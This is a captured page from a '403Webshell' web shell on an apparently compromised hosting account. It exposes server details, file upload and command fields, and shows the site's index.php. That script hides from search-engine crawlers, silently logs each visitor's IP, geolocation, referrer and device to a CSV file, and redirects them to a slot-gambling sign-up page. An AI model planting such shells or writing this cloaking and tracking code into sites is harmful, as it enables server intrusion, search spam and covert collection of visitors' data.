403Webshell
Server IP : 172.67.155.212  /  Your IP : 216.73.216.14
Web Server : LiteSpeed
System : Linux premium234.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : pawazvgw ( 969)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/pawazvgw/daftar.proseo.pro/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/pawazvgw/daftar.proseo.pro/index.php
<?php
$redirect_url = 'https://pawangslotonly.xyz/register';
$filename = 'clicks.txt'; 

if (!file_exists($filename)) {
    file_put_contents($filename, '0');
}

$clicks = intval(file_get_contents($filename));
$clicks++;

$user_agent = $_SERVER['HTTP_USER_AGENT'];

$bot_patterns = [
    'Googlebot', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 
    'YandexBot', 'Sogou', 'Exabot', 'facebot', 'facebookexternalhit',
    'bot', 'crawler', 'spider', 'robot', 'crawling'
];

function is_bot($user_agent, $bot_patterns) {
    foreach ($bot_patterns as $pattern) {
        if (stripos($user_agent, $pattern) !== false) {
            return true;
        }
    }
    return false;
}

if (is_bot($user_agent, $bot_patterns)) {
    exit();
}

file_put_contents($filename, strval($clicks));

date_default_timezone_set('Asia/Jakarta');

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ipList = $_SERVER['HTTP_X_FORWARDED_FOR'];
    $ipArray = explode(',', $ipList);
    $ip = trim($ipArray[0]);
} else {
    $ip = $_SERVER['REMOTE_ADDR'];
}

$ip_details = json_decode(file_get_contents("http://ip-api.com/json/{$ip}?fields=city,region,country"));

$city = $ip_details->city ?? 'Unknown';
$region = $ip_details->region ?? 'Unknown';
$country = $ip_details->country ?? 'Unknown';

function detect_device($user_agent) {
    if (preg_match('/mobile/i', $user_agent)) {
        if (preg_match('/android/i', $user_agent)) {
            return 'Android';
        } elseif (preg_match('/iphone|ipod/i', $user_agent)) {
            return 'iPhone/iOS';
        } elseif (preg_match('/windows phone/i', $user_agent)) {
            return 'Windows Phone';
        }
    }
    elseif (preg_match('/tablet/i', $user_agent)) {
        if (preg_match('/ipad/i', $user_agent)) {
            return 'iPad';
        } elseif (preg_match('/android/i', $user_agent)) {
            return 'Android Tablet';
        }
    }
    else {
        return 'Desktop';
    }
}

$device = detect_device($user_agent);

$time = date('Y-m-d H:i:s');

$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';

$intip = "$time, $ip, $city, $region, $country, $referer, $user_agent, $devicen";

if (!file_exists('intip.csv')) {
    file_put_contents('intip.csv', "Time, IP, City, Region, Country, Referer, User Agent, Devicen");
}

file_put_contents('intip.csv', $intip, FILE_APPEND);

header('Location: ' . $redirect_url);
exit();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit